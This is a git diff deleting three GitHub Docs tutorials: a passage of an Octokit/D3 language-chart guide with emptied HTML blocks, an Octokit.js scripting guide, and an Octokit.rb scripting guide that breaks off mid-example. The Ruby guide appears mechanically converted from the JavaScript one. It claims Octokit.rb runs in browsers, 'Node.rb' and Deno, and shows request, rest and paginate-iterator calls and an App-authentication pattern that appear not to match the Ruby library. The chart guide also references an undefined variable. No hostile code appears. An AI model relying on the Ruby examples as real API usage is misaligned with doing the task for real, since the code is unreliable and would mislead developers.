constructor: - -``` ruby -if !authenticated? - authenticate! -else - octokit_client = Octokit::Client.new(:login => github_user.login, :oauth_token => github_user.token) -end -``` - -Let's do something interesting with the data about our repositories. We're going -to see the different programming languages they use, and count which ones are used -most often. To do that, we'll first need a list of our repositories from the API. -With Octokit, that looks like this: - -``` ruby -repos = client.repositories -``` - -Next, we'll iterate over each repository, and count the language that {% data variables.product.github %} -associates with it: - -``` ruby -language_obj = {} -repos.each do |repo| - # sometimes language can be nil - if repo.language - if !language_obj[repo.language] - language_obj[repo.language] = 1 - else - language_obj[repo.language] += 1 - end - end -end - -languages.to_s -``` - -When you restart your server, your web page should display something -that looks like this: - -``` ruby -{"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1} -``` - -So far, so good, but not very human-friendly. A visualization -would be great in helping us understand how these language counts are distributed. Let's feed -our counts into D3 to get a neat bar graph representing the popularity of the languages we use. - -## Visualizing language counts - -D3.js, or just D3, is a comprehensive library for creating many kinds of charts, graphs, and interactive visualizations. -Using D3 in detail is beyond the scope of this guide, but for a good introductory article, -check out [D3 for Mortals](http://recursion.org/d3-for-mere-mortals/). - -D3 is a JavaScript library, and likes working with data as arrays. So, let's convert our Ruby hash into -a JSON array for use by JavaScript in the browser. - -``` ruby -languages = [] -language_obj.each do |lang, count| - languages.push :language => lang, :count => count -end - -erb :lang_freq, :locals => { :languages => languages.to_json} -``` - -We're simply iterating over each key-value pair in our object and pushing them into -a new array. The reason we didn't do this earlier is because we didn't want to iterate -over our `language_obj` object while we were creating it. - -Now, _lang_freq.erb_ is going to need some JavaScript to support rendering a bar graph. -For now, you can just use the code provided here, and refer to the resources linked above -if you want to learn more about how D3 works: - -``` html - - - - - - - - -

Check this sweet data out:

-
- - - - -``` - -Phew! Again, don't worry about what most of this code is doing. The relevant part -here is a line way at the top--`var data = <%= languages %>;`--which indicates -that we're passing our previously created `languages` array into ERB for manipulation. - -As the "D3 for Mortals" guide suggests, this isn't necessarily the best use of -D3. But it does serve to illustrate how you can use the library, along with Octokit, -to make some really amazing things. - -## Combining different API calls - -Now it's time for a confession: the `language` attribute within repositories -only identifies the "primary" language defined. That means that if you have -a repository that combines several languages, the one with the most bytes of code -is considered to be the primary language. - -Let's combine a few API calls to get a _true_ representation of which language -has the greatest number of bytes written across all our code. A [treemap](https://www.d3-graph-gallery.com/treemap.html) -should be a great way to visualize the sizes of our coding languages used, rather -than simply the count. We'll need to construct an array of objects that looks -something like this: - -``` json -[ { "name": "language1", "size": 100}, - { "name": "language2", "size": 23} - ... -] -``` - -Since we already have a list of repositories above, let's inspect each one, and -call the [GET /repos/{owner}/{repo}/languages endpoint](/rest/repos/repos#list-repository-languages): - -``` ruby -repos.each do |repo| - repo_name = repo.name - repo_langs = octokit_client.languages("#{github_user.login}/#{repo_name}") -end -``` - -From there, we'll cumulatively add each language found to a list of languages: - -``` ruby -repo_langs.each do |lang, count| - if !language_obj[lang] - language_obj[lang] = count - else - language_obj[lang] += count - end -end -``` - -After that, we'll format the contents into a structure that D3 understands: - -``` ruby -language_obj.each do |lang, count| - language_byte_count.push :name => "#{lang} (#{count})", :count => count -end - -# some mandatory formatting for D3 -language_bytes = [ :name => "language_bytes", :elements => language_byte_count] -``` - -(For more information on D3 tree map magic, check out [this simple tutorial](/rest/repos/repos#list-repository-languages).) - -To wrap up, we pass this JSON information over to the same ERB template: - -``` ruby -erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json} -``` - -Like before, here's a bunch of JavaScript that you can drop -directly into your template: - -``` html -
- -``` - -Et voila! Beautiful rectangles containing your repo languages, with relative -proportions that are easy to see at a glance. You might need to -tweak the height and width of your treemap, passed as the first two -arguments to `drawTreemap` above, to get all the information to show up properly. diff --git a/content/rest/guides/scripting-with-the-rest-api-and-javascript.md b/content/rest/guides/scripting-with-the-rest-api-and-javascript.md deleted file mode 100644 index 01cf8ee2713d..000000000000 --- a/content/rest/guides/scripting-with-the-rest-api-and-javascript.md +++ /dev/null @@ -1,431 +0,0 @@ ---- -title: Scripting with the REST API and JavaScript -shortTitle: Script with JavaScript -intro: Write a script using the Octokit.js SDK to interact with the REST API. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API - - JavaScript -type: tutorial ---- - -## About Octokit.js - -If you want to write a script using JavaScript to interact with {% data variables.product.company_short %}'s REST API, {% data variables.product.company_short %} recommends that you use the Octokit.js SDK. Octokit.js is maintained by {% data variables.product.company_short %}. The SDK implements best practices and makes it easier for you to interact with the REST API via JavaScript. Octokit.js works with all modern browsers, Node.js, and Deno. For more information about Octokit.js, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). - -## Prerequisites - -This guide assumes that you are familiar with JavaScript and the {% data variables.product.company_short %} REST API. For more information about the REST API, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api). - -You must install and import `octokit` in order to use the Octokit.js library. This guide uses import statements in accordance with ES6. For more information about different installation and import methods, see [the Octokit.js README's Usage section](https://github.com/octokit/octokit.js/#usage). - -## Instantiating and authenticating - -> [!WARNING] -> Treat your authentication credentials like a password. -> -> To keep your credentials secure, you can store your credentials as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -{% ifversion ghec or fpt %} -> -> You can also store your credentials as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). -{% endif %} -> -> If {% ifversion ghec or fpt %}these options are not possible{% else %}this is not possible{% endif %}, consider using another CLI service to store your credentials securely. - -### Authenticating with a {% data variables.product.pat_generic %} - -If you want to use the {% data variables.product.company_short %} REST API for personal use, you can create a {% data variables.product.pat_generic %}. For more information about creating a {% data variables.product.pat_generic %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -First, import `Octokit` from `octokit`. Then, pass your {% data variables.product.pat_generic %} when you create an instance of `Octokit`. In the following example, replace `YOUR-TOKEN` with a reference to your {% data variables.product.pat_generic %}.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - -```javascript copy -import { Octokit } from "octokit"; - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: 'YOUR-TOKEN', -}); -``` - -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you want to use the API on behalf of an organization or another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. If an endpoint is available to {% data variables.product.prodname_github_apps %}, the REST reference documentation for that endpoint will indicate what type of {% data variables.product.prodname_github_app %} token is required. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -Instead of importing `Octokit` from `octokit`, import `App`. In the following example, replace `APP_ID` with a reference to your app's ID. Replace `PRIVATE_KEY` with a reference to your app's private key. Replace `INSTALLATION_ID` with the ID of the installation of your app that you want to authenticate on behalf of. You can find your app's ID and generate a private key on the settings page for your app. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). You can get an installation ID with the `GET /users/{username}/installation`, `GET /repos/{owner}/{repo}/installation`, or `GET /orgs/{org}/installation` endpoints. For more information, see [AUTOTITLE](/rest/apps/apps).{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - -```javascript copy -import { App } from "octokit"; - -const app = new App({ - appId: APP_ID, - privateKey: PRIVATE_KEY,{% ifversion ghes %} - Octokit: Octokit.defaults({ - baseUrl: "{% data variables.product.rest_url %}", - }),{% endif %} -}); - -const octokit = await app.getInstallationOctokit(INSTALLATION_ID); -``` - -### Authenticating in {% data variables.product.prodname_actions %} - -If you want to use the API in a {% data variables.product.prodname_actions %} workflow, {% data variables.product.company_short %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. You can grant permissions to the `GITHUB_TOKEN` with the `permissions` key. For more information about `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -If your workflow needs to access resources outside of the workflow's repository, then you will not be able to use `GITHUB_TOKEN`. In that case, store your credentials as a secret and replace `GITHUB_TOKEN` in the examples below with the name of your secret. For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -If you use the `run` keyword to execute your JavaScript script in your {% data variables.product.prodname_actions %} workflows, you can store the value of `GITHUB_TOKEN` as an environment variable. Your script can access the environment variable as `process.env.VARIABLE_NAME`. - -For example, this workflow step stores `GITHUB_TOKEN` in an environment variable called `TOKEN`: - -```yaml -- name: Run script - env: - TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - run: | - node .github/actions-scripts/use-the-api.mjs -``` - -The script that the workflow runs uses `process.env.TOKEN` to authenticate: - -```javascript copy -import { Octokit } from "octokit"; - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: process.env.TOKEN, -}); -``` - -### Instantiating without authentication - -You can use the REST API without authentication, although you will have a lower rate limit and will not be able to use some endpoints. To create an instance of `Octokit` without authenticating, do not pass the `auth` argument.{% ifversion ghes %} Set the base URL to `{% data variables.product.rest_url %}`. Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %} - -```javascript copy -import { Octokit } from "octokit"; - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}", -{% endif %}}); -``` - -## Making requests - -Octokit supports multiple ways of making requests. You can use the `request` method to make requests if you know the HTTP verb and path for the endpoint. You can use the `rest` method if you want to take advantage of autocompletion in your IDE and typing. For paginated endpoints, you can use the `paginate` method to request multiple pages of data. - -### Using the `request` method to make requests - -To use the `request` method to make requests, pass the HTTP method and path as the first argument. Pass any body, query, or path parameters in an object as the second argument. For example, to make a `GET` request to `/repos/{owner}/{repo}/issues` and pass the `owner`, `repo`, and `per_page` parameters: - -```javascript copy -await octokit.request("GET /repos/{owner}/{repo}/issues", { - owner: "github", - repo: "docs", - per_page: 2 -}); -``` - -The `request` method automatically passes the `Accept: application/vnd.github+json` header. To pass additional headers or a different `Accept` header, add a `headers` property to the object that is passed as a second argument. The value of the `headers` property is an object with the header names as keys and header values as values. For example, to send a `content-type` header with a value of `text/plain` and a `x-github-api-version` header with a value of `{{ allVersions[currentVersion].latestApiVersion }}`: - -```javascript copy -await octokit.request("POST /markdown/raw", { - text: "Hello **world**", - headers: { - "content-type": "text/plain", - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); -``` - -### Using `rest` endpoint methods to make requests - -Every REST API endpoint has an associated `rest` endpoint method in Octokit. These methods generally autocomplete in your IDE for convenience. You can pass any parameters as an object to the method. - -```javascript copy -await octokit.rest.issues.listForRepo({ - owner: "github", - repo: "docs", - per_page: 2 -}); -``` - -Additionally, if you are using a typed language such as TypeScript, you can import types to use with these methods. For more information, see [the TypeScript section in the plugin-rest-endpoint-methods.js README](https://github.com/octokit/plugin-rest-endpoint-methods.js/#typescript). - -### Making paginated requests - -If the endpoint is paginated and you want to fetch more than one page of results, you can use the `paginate` method. `paginate` will fetch the next page of results until it reaches the last page and then return all of the results as a single array. A few endpoints return paginated results as array in an object, as opposed to returning the paginated results as an array. `paginate` always returns an array of items even if the raw result was an object. - -For example, the following example gets all of the issues from the `github/docs` repository. Although it requests 100 issues at a time, the function won't return until the last page of data is reached. - -```javascript copy -const issueData = await octokit.paginate("GET /repos/{owner}/{repo}/issues", { - owner: "github", - repo: "docs", - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); -``` - -The `paginate` method accepts an optional map function, which you can use to collect only the data that you want from the response. This reduces memory usage by your script. The map function can take a second argument, `done`, which you can call to end the pagination before the last page is reached. This lets you fetch a subset of pages. For example, the following example continues to fetch results until an issue that includes "test" in the title is returned. For the pages of data that were returned, only the issue title and author are stored. - -```javascript copy -const issueData = await octokit.paginate("GET /repos/{owner}/{repo}/issues", { - owner: "github", - repo: "docs", - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}, - (response, done) => response.data.map((issue) => { - if (issue.title.includes("test")) { - done() - } - return ({title: issue.title, author: issue.user.login}) - }) -); -``` - -Instead of fetching all of the results at once, you can use `octokit.paginate.iterator()` to iterate through a single page at a time. For example, the following example fetches one page of results at a time and processes each object from the page before fetching the next page. Once an issue that includes "test" in the title is reached, the script stops the iteration and returns the issue title and issue author of each object that was processed. The iterator is the most memory efficient method for fetching paginated data. - -```javascript copy -const iterator = octokit.paginate.iterator("GET /repos/{owner}/{repo}/issues", { - owner: "github", - repo: "docs", - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); - -let issueData = [] -let breakLoop = false -for await (const {data} of iterator) { - if (breakLoop) break - for (const issue of data) { - if (issue.title.includes("test")) { - breakLoop = true - break - } else { - issueData = [...issueData, {title: issue.title, author: issue.user.login}]; - } - } -} -``` - -You can use the `paginate` method with the `rest` endpoint methods as well. Pass the `rest` endpoint method as the first argument. Pass any parameters as the second argument. - -```javascript copy -const iterator = octokit.paginate.iterator(octokit.rest.issues.listForRepo, { - owner: "github", - repo: "docs", - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); -``` - -For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -## Catching errors - -### Catching all errors - -Sometimes, the {% data variables.product.company_short %} REST API will return an error. For example, you will get an error if your access token is expired or if you omitted a required parameter. Octokit.js automatically retries the request when it gets an error other than `400 Bad Request`, `401 Unauthorized`, `403 Forbidden`, `404 Not Found`, and `422 Unprocessable Entity`. If an API error occurs even after retries, Octokit.js throws an error that includes the HTTP status code of the response (`response.status`) and the response headers (`response.headers`). You should handle these errors in your code. For example, you can use a try/catch block to catch errors: - -```javascript copy -let filesChanged = [] - -try { - const iterator = octokit.paginate.iterator("GET /repos/{owner}/{repo}/pulls/{pull_number}/files", { - owner: "github", - repo: "docs", - pull_number: 22809, - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - - for await (const {data} of iterator) { - filesChanged = [...filesChanged, ...data.map(fileData => fileData.filename)]; - } -} catch (error) { - if (error.response) { - console.error(`Error! Status: ${error.response.status}. Message: ${error.response.data.message}`) - } - console.error(error) -} -``` - -### Handling intended error codes - -Sometimes, {% data variables.product.company_short %} uses a 4xx status code to indicate a non-error response. If the endpoint you are using does this, you can add additional handling for specific errors. For example, the `GET /user/starred/{owner}/{repo}` endpoint will return a `404` if the repository is not starred. The following example uses the `404` response to indicate that the repository was not starred; all other errors codes are treated as errors. - -```javascript copy -try { - await octokit.request("GET /user/starred/{owner}/{repo}", { - owner: "github", - repo: "docs", - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - - console.log(`The repository is starred by me`); - -} catch (error) { - if (error.status === 404) { - console.log(`The repository is not starred by me`); - } else { - console.error(`An error occurred while checking if the repository is starred: ${error?.response?.data?.message}`); - } -} -``` - -### Handling rate limit errors - -If you receive a rate limit error, you may want to retry your request after waiting. When you are rate limited, {% data variables.product.company_short %} responds with a `403 Forbidden` error and the `x-ratelimit-remaining` response header value will be `"0"`. The response headers will include a `x-ratelimit-reset` header, which tells you the time at which the current rate limit window resets, in UTC epoch seconds. You can retry your request after the time specified by `x-ratelimit-reset`. - -```javascript copy -async function requestRetry(route, parameters) { - try { - const response = await octokit.request(route, parameters); - return response - } catch (error) { - if (error.response && error.status === 403 && error.response.headers['x-ratelimit-remaining'] === '0') { - const resetTimeEpochSeconds = error.response.headers['x-ratelimit-reset']; - const currentTimeEpochSeconds = Math.floor(Date.now() / 1000); - const secondsToWait = resetTimeEpochSeconds - currentTimeEpochSeconds; - console.log(`You have exceeded your rate limit. Retrying in ${secondsToWait} seconds.`); - setTimeout(requestRetry, secondsToWait * 1000, route, parameters); - } else { - console.error(error); - } - } -} - -const response = await requestRetry("GET /repos/{owner}/{repo}/issues", { - owner: "github", - repo: "docs", - per_page: 2 - }) -``` - -## Using the response - -The `request` method returns a promise that resolves to an object if the request was successful. The object properties are `data` (the response body returned by the endpoint), `status` (the HTTP response code), `url` (the URL of the request), and `headers` (an object containing the response headers). Unless otherwise specified, the response body is in JSON format. Some endpoints do not return a response body; in those cases, the `data` property is omitted. - -```javascript copy -const response = await octokit.request("GET /repos/{owner}/{repo}/issues/{issue_number}", { - owner: "github", - repo: "docs", - issue_number: 11901, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); - -console.log(`The status of the response is: ${response.status}`) -console.log(`The request URL was: ${response.url}`) -console.log(`The x-ratelimit-remaining response header is: ${response.headers["x-ratelimit-remaining"]}`) -console.log(`The issue title is: ${response.data.title}`) -``` - -Similarly, the `paginate` method returns a promise. If the request was successful, the promise resolves to an array of data returned by the endpoint. Unlike the `request` method, the `paginate` method does not return the status code, URL, or headers. - -```javascript copy -const data = await octokit.paginate("GET /repos/{owner}/{repo}/issues", { - owner: "github", - repo: "docs", - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); - -console.log(`${data.length} issues were returned`) -console.log(`The title of the first issue is: ${data[0].title}`) -``` - -## Example script - -Here is a full example script that uses Octokit.js. The script imports `Octokit` and creates a new instance of `Octokit`. If you wanted to authenticate with a {% data variables.product.prodname_github_app %} instead of a {% data variables.product.pat_generic %}, you would import and instantiate `App` instead of `Octokit`. For more information, see [Authenticating with a {% data variables.product.prodname_github_app %}](#authenticating-with-a-github-app). - -The `getChangedFiles` function gets all of the files changed for a pull request. The `commentIfDataFilesChanged` function calls the `getChangedFiles` function. If any of the files that the pull request changed include `/data/` in the file path, then the function will comment on the pull request. - -```javascript copy -import { Octokit } from "octokit"; - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: 'YOUR-TOKEN', -}); - -async function getChangedFiles({owner, repo, pullNumber}) { - let filesChanged = [] - - try { - const iterator = octokit.paginate.iterator("GET /repos/{owner}/{repo}/pulls/{pull_number}/files", { - owner: owner, - repo: repo, - pull_number: pullNumber, - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - - for await (const {data} of iterator) { - filesChanged = [...filesChanged, ...data.map(fileData => fileData.filename)]; - } - } catch (error) { - if (error.response) { - console.error(`Error! Status: ${error.response.status}. Message: ${error.response.data.message}`) - } - console.error(error) - } - - return filesChanged -} - -async function commentIfDataFilesChanged({owner, repo, pullNumber}) { - const changedFiles = await getChangedFiles({owner, repo, pullNumber}); - - const filePathRegex = new RegExp(/\/data\//, "i"); - if (!changedFiles.some(fileName => filePathRegex.test(fileName))) { - return; - } - - try { - const {data: comment} = await octokit.request("POST /repos/{owner}/{repo}/issues/{issue_number}/comments", { - owner: owner, - repo: repo, - issue_number: pullNumber, - body: `It looks like you changed a data file. These files are auto-generated. \n\nYou must revert any changes to data files before your pull request will be reviewed.`, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - - return comment.html_url; - } catch (error) { - if (error.response) { - console.error(`Error! Status: ${error.response.status}. Message: ${error.response.data.message}`) - } - console.error(error) - } -} - -await commentIfDataFilesChanged({owner: "github", repo: "docs", pullNumber: 191}); -``` - -## Next steps - -* To learn more about Octokit.js see [the Octokit.js documentation](https://github.com/octokit/octokit.js/#readme). -* For some real life examples, look at how {% data variables.product.company_short %} Docs uses Octokit.js by [searching the {% data variables.product.company_short %} Docs repository](https://github.com/search?q=repo%3Agithub%2Fdocs%20path%3A.github%20octokit&type=code). diff --git a/content/rest/guides/scripting-with-the-rest-api-and-ruby.md b/content/rest/guides/scripting-with-the-rest-api-and-ruby.md deleted file mode 100644 index e98ed95c0ecc..000000000000 --- a/content/rest/guides/scripting-with-the-rest-api-and-ruby.md +++ /dev/null @@ -1,329 +0,0 @@ ---- -title: Scripting with the REST API and Ruby -shortTitle: Script with Ruby -intro: Learn how to write a script using the Octokit.rb SDK to interact with the REST API. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: -- API -- Ruby -type: tutorial ---- - -## About Octokit.rb - -If you want to write a script using Ruby to interact with the {% data variables.product.company_short %} REST API, {% data variables.product.company_short %} recommends that you use the Octokit.rb SDK. Octokit.rb is maintained by {% data variables.product.company_short %}. The SDK implements best practices and makes it easier for you to interact with the REST API via Ruby. Octokit.rb works with all modern browsers, Node.rb, and Deno. For more information about Octokit.rb, see [the Octokit.rb README](https://github.com/octokit/octokit.rb/#readme). - -## Prerequisites - -This guide assumes that you are familiar with Ruby and the {% data variables.product.company_short %} REST API. For more information about the REST API, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api). - -You must install and import the `octokit` gem in order to use the Octokit.rb library. This guide uses import statements in accordance with Ruby's conventions. For more information about different installation methods, see [the Octokit.rb README's Installation section](https://github.com/octokit/octokit.rb/#installation). - -## Instantiating and authenticating - -> [!WARNING] -> Treat your authentication credentials like a password. -> -> To keep your credentials secure, you can store your credentials as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -{% ifversion ghec or fpt %} -> -> You can also store your credentials as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). -{% endif %} -> -> If {% ifversion ghec or fpt %}these options are not possible{% else %}this is not possible{% endif %}, consider using another CLI service to store your credentials securely. - -### Authenticating with a {% data variables.product.pat_generic %} - -If you want to use the {% data variables.product.company_short %} REST API for personal use, you can create a {% data variables.product.pat_generic %}. For more information about creating a {% data variables.product.pat_generic %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). - -First, require the `octokit` library. Then, create an instance of `Octokit` by passing your {% data variables.product.pat_generic %} as the `access_token` option. In the following example, replace `YOUR-TOKEN` with your {% data variables.product.pat_generic %}. - -```ruby copy -require 'octokit' - -octokit = Octokit::Client.new(access_token: 'YOUR-TOKEN') -``` - -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you want to use the API on behalf of an organization or another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. If an endpoint is available to {% data variables.product.prodname_github_apps %}, the REST reference documentation for that endpoint will indicate what type of {% data variables.product.prodname_github_app %} token is required. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -Instead of requiring `octokit`, create an instance of `Octokit::Client` by passing your {% data variables.product.prodname_github_app %}'s information as options. In the following example, replace `APP_ID` with your app's ID, `PRIVATE_KEY` with your app's private key, and `INSTALLATION_ID` with the ID of the installation of your app that you want to authenticate on behalf of. You can find your app's ID and generate a private key on the settings page for your app. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). You can get an installation ID with the `GET /users/{username}/installation`, `GET /repos/{owner}/{repo}/installation`, or `GET /orgs/{org}/installation` endpoints. For more information, see [AUTOTITLE](/rest/apps/apps).{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - -```ruby copy -require 'octokit' - -app = Octokit::Client.new( - client_id: APP_ID, - client_secret: PRIVATE_KEY, - installation_id: INSTALLATION_ID -) - -octokit = Octokit::Client.new(bearer_token: app.create_app_installation.access_token) -``` - -### Authenticating in {% data variables.product.prodname_actions %} - -If you want to use the API in a {% data variables.product.prodname_actions %} workflow, {% data variables.product.company_short %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. You can grant permissions to the `GITHUB_TOKEN` with the `permissions` key. For more information about `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -If your workflow needs to access resources outside of the workflow's repository, then you will not be able to use `GITHUB_TOKEN`. In that case, store your credentials as a secret and replace `GITHUB_TOKEN` in the examples below with the name of your secret. For more information about secrets, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -If you use the `run` keyword to execute your Ruby script in your {% data variables.product.prodname_actions %} workflows, you can store the value of `GITHUB_TOKEN` as an environment variable. Your script can access the environment variable as `ENV['VARIABLE_NAME']`. - -For example, this workflow step stores `GITHUB_TOKEN` in an environment variable called `TOKEN`: - -```yaml -- name: Run script - env: - TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - run: | - ruby .github/actions-scripts/use-the-api.rb -``` - -The script that the workflow runs uses `ENV['TOKEN']` to authenticate: - -```ruby copy -require 'octokit' - -octokit = Octokit::Client.new(access_token: ENV['TOKEN']) -``` - -### Instantiating without authentication - -You can use the REST API without authentication, although you will have a lower rate limit and will not be able to use some endpoints. To create an instance of `Octokit` without authenticating, do not pass the `access_token` option. - -```ruby copy -require 'octokit' - -octokit = Octokit::Client.new -``` - -## Making requests - -Octokit supports multiple ways of making requests. You can use the `request` method to make requests if you know the HTTP verb and path for the endpoint. You can use the `rest` method if you want to take advantage of autocompletion in your IDE and typing. For paginated endpoints, you can use the `paginate` method to request multiple pages of data. - -### Using the `request` method to make requests - -To use the `request` method to make requests, pass the HTTP method and path as the first argument. Pass any body, query, or path parameters in a hash as the second argument. For example, to make a `GET` request to `/repos/{owner}/{repo}/issues` and pass the `owner`, `repo`, and `per_page` parameters: - -```ruby copy -octokit.request("GET /repos/{owner}/{repo}/issues", owner: "github", repo: "docs", per_page: 2) -``` - -The `request` method automatically passes the `Accept: application/vnd.github+json` header. To pass additional headers or a different `Accept` header, add a `headers` option to the hash that is passed as a second argument. The value of the `headers` option is a hash with the header names as keys and header values as values. For example, to send a `content-type` header with a value of `text/plain`: - -```ruby copy -octokit.request("POST /markdown/raw", text: "Hello **world**", headers: { "content-type" => "text/plain" }) -``` - -### Using `rest` endpoint methods to make requests - -Every REST API endpoint has an associated `rest` endpoint method in Octokit. These methods generally autocomplete in your IDE for convenience. You can pass any parameters as a hash to the method. - -```ruby copy -octokit.rest.issues.list_for_repo(owner: "github", repo: "docs", per_page: 2) -``` - -### Making paginated requests - -If the endpoint is paginated and you want to fetch more than one page of results, you can use the `paginate` method. `paginate` will fetch the next page of results until it reaches the last page and then return all of the results as an array. A few endpoints return paginated results as an array in an object, as opposed to returning the paginated results as an array. `paginate` always returns an array of items even if the raw result was an object. - -For example, the following example gets all of the issues from the `github/docs` repository. Although it requests 100 issues at a time, the function won't return until the last page of data is reached. - -```ruby copy -issue_data = octokit.paginate("GET /repos/{owner}/{repo}/issues", owner: "github", repo: "docs", per_page: 100) -``` - -The `paginate` method accepts an optional block, which you can use to process each page of results. This allows you to collect only the data that you want from the response. For example, the following example continues to fetch results until an issue that includes "test" in the title is returned. For the pages of data that were returned, only the issue title and author are stored. - -```ruby copy -issue_data = octokit.paginate("GET /repos/{owner}/{repo}/issues", owner: "github", repo: "docs", per_page: 100) do |response, done| - response.data.map do |issue| - if issue.title.include?("test") - done.call - end - { title: issue.title, author: issue.user.login } - end -end -``` - -Instead of fetching all of the results at once, you can use `octokit.paginate.iterator()` to iterate through a single page at a time. For example, the following example fetches one page of results at a time and processes each object from the page before fetching the next page. Once an issue that includes "test" in the title is reached, the script stops the iteration and returns the issue title and issue author of each object that was processed. The iterator is the most memory-efficient method for fetching paginated data. - -```ruby copy -iterator = octokit.paginate.iterator("GET /repos/{owner}/{repo}/issues", owner: "github", repo: "docs", per_page: 100) -issue_data = [] -break_loop = false -iterator.each do |data| - break if break_loop - data.each do |issue| - if issue.title.include?("test") - break_loop = true - break - else - issue_data << { title: issue.title, author: issue.user.login } - end - end -end -``` - -You can use the `paginate` method with the `rest` endpoint methods as well. Pass the `rest` endpoint method as the first argument and any parameters as the second argument. - -```ruby copy -iterator = octokit.paginate.iterator(octokit.rest.issues.list_for_repo, owner: "github", repo: "docs", per_page: 100) -``` - -For more information about pagination, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -## Catching errors - -### Catching all errors - -Sometimes, the {% data variables.product.company_short %} REST API will return an error. For example, you will get an error if your access token is expired or if you omitted a required parameter. Octokit.rb automatically retries the request when it gets an error other than `400 Bad Request`, `401 Unauthorized`, `403 Forbidden`, `404 Not Found`, and `422 Unprocessable Entity`. If an API error occurs even after retries, Octokit.rb throws an error that includes the HTTP status code of the response (`response.status`) and the response headers (`response.headers`). You should handle these errors in your code. For example, you can use a try/catch block to catch errors: - -```ruby copy -begin -files_changed = [] - -iterator = octokit.paginate.iterator("GET /repos/{owner}/{repo}/pulls/{pull_number}/files", owner: "github", repo: "docs", pull_number: 22809, per_page: 100) -iterator.each do | data | - files_changed.concat(data.map { - | file_data | file_data.filename - }) - end -rescue Octokit::Error => error -if error.response -puts "Error! Status: #{error.response.status}. Message: #{error.response.data.message}" -end -puts error -end -``` - -### Handling intended error codes - -Sometimes, {% data variables.product.company_short %} uses a 4xx status code to indicate a non-error response. If the endpoint you are using does this, you can add additional handling for specific errors. For example, the `GET /user/starred/{owner}/{repo}` endpoint will return a `404` if the repository is not starred. The following example uses the `404` response to indicate that the repository was not starred; all other error codes are treated as errors. - -```ruby copy -begin -octokit.request("GET 